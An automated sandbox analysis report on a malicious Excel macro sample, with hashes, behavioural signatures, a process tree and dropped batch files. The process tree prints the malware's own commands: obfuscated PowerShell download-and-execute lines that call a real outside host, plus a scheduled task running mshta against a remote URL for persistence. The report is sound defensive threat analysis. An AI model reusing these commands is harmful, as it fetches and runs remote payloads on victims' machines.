Analysis
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max time kernel
111s -
max time network
146s -
platform
windows10-2004_x64 -
resource
win10v2004-20220812-en -
resource tags
arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system -
submitted
16-08-2022 07:46
Behavioral task
behavioral1
Sample
SecuriteInfo.com.Exploit.Siggen3.17232.10473.xls
Resource
win7-20220812-en
Behavioral task
behavioral2
Sample
SecuriteInfo.com.Exploit.Siggen3.17232.10473.xls
Resource
win10v2004-20220812-en
General
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Target
SecuriteInfo.com.Exploit.Siggen3.17232.10473.xls
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Size
33KB
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MD5
8f22920da513765b73a754e1901bf801
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SHA1
67259176ccae7489e8c2451651cb0fa1ec7dd637
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SHA256
1d0ac09d9a53155d463c696e606ebf027274e7699c206959d171119ea3042765
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SHA512
5247cc3b348956078c0d03bc495501f8ca0874f3f946e5bf28af7defb614bb57e617fa77ae6d1ba03a5be1fb73c8e060adb8e30f6214740b74c6ded76495d354
Malware Config
Signatures
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Process spawned unexpected child process 4 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.execmd.execmd.execmd.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 4760 4732 cmd.exe EXCEL.EXE Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 1772 4732 cmd.exe EXCEL.EXE Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 4308 4732 cmd.exe EXCEL.EXE Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 2872 4732 cmd.exe EXCEL.EXE -
Blocklisted process makes network request 2 IoCs
Processes:
powershell.exepowershell.exeflow pid process 14 4208 powershell.exe 26 3612 powershell.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
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Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Kills process with taskkill 1 IoCs
Processes:
taskkill.exepid process 2636 taskkill.exe -
Runs ping.exe 1 TTPs 4 IoCs
Processes:
PING.EXEPING.EXEPING.EXEPING.EXEpid process 4888 PING.EXE 2360 PING.EXE 3016 PING.EXE 1200 PING.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 4732 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
powershell.exepowershell.exepid process 4208 powershell.exe 4208 powershell.exe 3612 powershell.exe 3612 powershell.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
taskkill.exepowershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 2636 taskkill.exe Token: SeDebugPrivilege 4208 powershell.exe Token: SeDebugPrivilege 3612 powershell.exe -
Suspicious use of SetWindowsHookEx 12 IoCs
Processes:
EXCEL.EXEpid process 4732 EXCEL.EXE 4732 EXCEL.EXE 4732 EXCEL.EXE 4732 EXCEL.EXE 4732 EXCEL.EXE 4732 EXCEL.EXE 4732 EXCEL.EXE 4732 EXCEL.EXE 4732 EXCEL.EXE 4732 EXCEL.EXE 4732 EXCEL.EXE 4732 EXCEL.EXE -
Suspicious use of WriteProcessMemory 32 IoCs
Processes:
EXCEL.EXEcmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.exedescription pid process target process PID 4732 wrote to memory of 4760 4732 EXCEL.EXE cmd.exe PID 4732 wrote to memory of 4760 4732 EXCEL.EXE cmd.exe PID 4732 wrote to memory of 1772 4732 EXCEL.EXE cmd.exe PID 4732 wrote to memory of 1772 4732 EXCEL.EXE cmd.exe PID 4732 wrote to memory of 4308 4732 EXCEL.EXE cmd.exe PID 4732 wrote to memory of 4308 4732 EXCEL.EXE cmd.exe PID 4732 wrote to memory of 2872 4732 EXCEL.EXE cmd.exe PID 4732 wrote to memory of 2872 4732 EXCEL.EXE cmd.exe PID 4760 wrote to memory of 1200 4760 cmd.exe PING.EXE PID 4760 wrote to memory of 1200 4760 cmd.exe PING.EXE PID 4308 wrote to memory of 2360 4308 cmd.exe PING.EXE PID 4308 wrote to memory of 2360 4308 cmd.exe PING.EXE PID 2872 wrote to memory of 4888 2872 cmd.exe PING.EXE PID 2872 wrote to memory of 4888 2872 cmd.exe PING.EXE PID 1772 wrote to memory of 3016 1772 cmd.exe PING.EXE PID 1772 wrote to memory of 3016 1772 cmd.exe PING.EXE PID 4308 wrote to memory of 4088 4308 cmd.exe cmd.exe PID 4308 wrote to memory of 4088 4308 cmd.exe cmd.exe PID 4088 wrote to memory of 4208 4088 cmd.exe powershell.exe PID 4088 wrote to memory of 4208 4088 cmd.exe powershell.exe PID 4308 wrote to memory of 5060 4308 cmd.exe cmd.exe PID 4308 wrote to memory of 5060 4308 cmd.exe cmd.exe PID 5060 wrote to memory of 2636 5060 cmd.exe taskkill.exe PID 5060 wrote to memory of 2636 5060 cmd.exe taskkill.exe PID 4760 wrote to memory of 3932 4760 cmd.exe cmd.exe PID 4760 wrote to memory of 3932 4760 cmd.exe cmd.exe PID 3932 wrote to memory of 3612 3932 cmd.exe powershell.exe PID 3932 wrote to memory of 3612 3932 cmd.exe powershell.exe PID 1772 wrote to memory of 4576 1772 cmd.exe cmd.exe PID 1772 wrote to memory of 4576 1772 cmd.exe cmd.exe PID 4576 wrote to memory of 4960 4576 cmd.exe schtasks.exe PID 4576 wrote to memory of 4960 4576 cmd.exe schtasks.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Exploit.Siggen3.17232.10473.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Windows\SYSTEM32\cmd.execmd /c ping -n 80 127.0.0.1 & %public%\Outlook.bat exit2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\PING.EXEping -n 80 127.0.0.13⤵
- Runs ping.exe
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C:\Windows\system32\cmd.execmd /c start /min PowerShell -ex Bypass -nOp -w 1 i'e'x(iwr('http://facextrade.com.br/log.txt'))3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exePowerShell -ex Bypass -nOp -w 1 i'e'x(iwr('http://facextrade.com.br/log.txt'))4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\SYSTEM32\cmd.execmd /c ping -n 85 127.0.0.1 & %public%\task.bat exit2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\PING.EXEping -n 85 127.0.0.13⤵
- Runs ping.exe
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C:\Windows\system32\cmd.execmd /c schtasks /create /sc MINUTE /mo 200 /tn "CDT" /tr "\"mshta\"http://facextrade.com.br/logs.php" /F3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\schtasks.exeschtasks /create /sc MINUTE /mo 200 /tn "CDT" /tr "\"mshta\"http://facextrade.com.br/logs.php" /F4⤵
- Creates scheduled task(s)
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C:\Windows\SYSTEM32\cmd.execmd /c ping -n 10 127.0.0.1 & %public%\DefenderFile.bat exit2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\PING.EXEping -n 10 127.0.0.13⤵
- Runs ping.exe
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C:\Windows\system32\cmd.execmd /c start /min PowerShell -ex Bypass -nOp -w 1 i'e'x(iwr('http://facextrade.com.br/df.txt'))3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exePowerShell -ex Bypass -nOp -w 1 i'e'x(iwr('http://facextrade.com.br/df.txt'))4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\cmd.execmd /c start /min taskkill /f /im WINWORD.EXE3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\taskkill.exetaskkill /f /im WINWORD.EXE4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\SYSTEM32\cmd.execmd /c ping -n 7 127.0.0.1 & %public%\KilFile.bat exit2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\PING.EXEping -n 7 127.0.0.13⤵
- Runs ping.exe
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
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C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.logFilesize
2KB
MD52f57fde6b33e89a63cf0dfdd6e60a351
SHA1445bf1b07223a04f8a159581a3d37d630273010f
SHA2563b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
SHA51242857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
1KB
MD543f4bec966ab901ac034fc136a642fa5
SHA18e7227cefec8b05c9a79b2751d1261187b9c0422
SHA25609ea65cf68920d08638db30c86eb3c90254b9b2d9f73246bc0176c86ce687ae4
SHA512a65a2fe6acf4cb0dae8361af3e42e35c6bfaa93859e744a7779630d785a56bb030161c92a74b88a223769fdb912911146a762cf6a8afe33642e2695ea08ceec0
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-msFilesize
6KB
MD5368ed064a02d659afd3df9f76a14158c
SHA11b78d9f6fec7ba0050b4a010e8888faacec0ae12
SHA256c3aa5d5c8140dea8e9c06a3b7163af49d31bd2d2309697705fbebe840fa4b325
SHA512b53d04efe772777c6e555d3dcb486fbb4d3b421d32527b749bc07ba8ece49414c2d548b4b4dc080f9b5129bd6c74b1de780e4ea38c754f6a37d14e157db7c696
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C:\Users\Public\DefenderFile.batFilesize
1KB
MD5ae4a0997ce01f4ebbb3f3cc0054ce933
SHA1e5bfe3b390f1208b8b6ea0317f4364005f552851
SHA256a33dd1505c2ac665e6e1fd424a048997ec0f43914b8f73037bd94dc2e89e35ce
SHA5125de2f43af7756cd7be659d6f03314240e08ecfee7bcb97b45f828ef938a0a0a84b0c36667d0447fd5bfa4851e5eef9cf98182933bda86b42af4a154b37b2f184
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C:\Users\Public\Outlook.batFilesize
900B
MD50427a3545c2eaed3167cffe2cf5f8aba
SHA1b27f3a7d2b855f1d0b84727603add711bb6f6170
SHA256ec7da386a5fc7007e33ffdcd8ab64b6ac207d1886e04b9b60f27a95533347391
SHA512fafb712a5b636c0118128c2d448271680e66fc73fac67538f4b84c9917a7053470d7710ce508cfd82c941942e469bd3d048d7ebbcefa99797542ad026dfe038b
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C:\Users\Public\task.batFilesize
954B
MD520a395a26f50352dc994664c3e7df533
SHA19b6407d22297b7af7c49aacd51bf42e51ced7029
SHA256c6c13b53153f21b2486096732847ddb48b8eb888bd3d6ab93ee1f958fcea1b32
SHA5122b974da0b7859584e39a9afa2fdf74fb1efba58e68d0c7b420065254f2cf017a8eb393c5f061a12f6ea79c729cebf5f81749b8cf14159ad331aae1daa7701617
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memory/1200-143-0x0000000000000000-mapping.dmp
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memory/1772-140-0x0000000000000000-mapping.dmp
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memory/2360-144-0x0000000000000000-mapping.dmp
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memory/2636-151-0x0000000000000000-mapping.dmp
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memory/2872-142-0x0000000000000000-mapping.dmp
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memory/3016-146-0x0000000000000000-mapping.dmp
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memory/3612-162-0x00007FF80C3A0000-0x00007FF80CE61000-memory.dmpFilesize
10.8MB
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memory/3612-172-0x00007FF80C3A0000-0x00007FF80CE61000-memory.dmpFilesize
10.8MB
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memory/3612-166-0x00007FF80C3A0000-0x00007FF80CE61000-memory.dmpFilesize
10.8MB
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memory/3612-158-0x0000000000000000-mapping.dmp
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memory/3932-157-0x0000000000000000-mapping.dmp
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memory/4088-148-0x0000000000000000-mapping.dmp
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memory/4208-149-0x0000000000000000-mapping.dmp
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memory/4208-152-0x000001D17FE70000-0x000001D17FE92000-memory.dmpFilesize
136KB
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memory/4208-153-0x00007FF80C3A0000-0x00007FF80CE61000-memory.dmpFilesize
10.8MB
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memory/4208-154-0x00007FF80C3A0000-0x00007FF80CE61000-memory.dmpFilesize
10.8MB
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memory/4208-155-0x00007FF80C3A0000-0x00007FF80CE61000-memory.dmpFilesize
10.8MB
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memory/4308-141-0x0000000000000000-mapping.dmp
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memory/4576-164-0x0000000000000000-mapping.dmp
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memory/4732-138-0x00007FF7F2860000-0x00007FF7F2870000-memory.dmpFilesize
64KB
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memory/4732-168-0x00007FF7F5170000-0x00007FF7F5180000-memory.dmpFilesize
64KB
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memory/4732-136-0x00007FF7F5170000-0x00007FF7F5180000-memory.dmpFilesize
64KB
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memory/4732-135-0x00007FF7F5170000-0x00007FF7F5180000-memory.dmpFilesize
64KB
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memory/4732-134-0x00007FF7F5170000-0x00007FF7F5180000-memory.dmpFilesize
64KB
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memory/4732-132-0x00007FF7F5170000-0x00007FF7F5180000-memory.dmpFilesize
64KB
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memory/4732-133-0x00007FF7F5170000-0x00007FF7F5180000-memory.dmpFilesize
64KB
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memory/4732-171-0x00007FF7F5170000-0x00007FF7F5180000-memory.dmpFilesize
64KB
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memory/4732-170-0x00007FF7F5170000-0x00007FF7F5180000-memory.dmpFilesize
64KB
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memory/4732-169-0x00007FF7F5170000-0x00007FF7F5180000-memory.dmpFilesize
64KB
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memory/4732-137-0x00007FF7F2860000-0x00007FF7F2870000-memory.dmpFilesize
64KB
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memory/4760-139-0x0000000000000000-mapping.dmp
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memory/4888-145-0x0000000000000000-mapping.dmp
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memory/4960-165-0x0000000000000000-mapping.dmp
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memory/5060-150-0x0000000000000000-mapping.dmp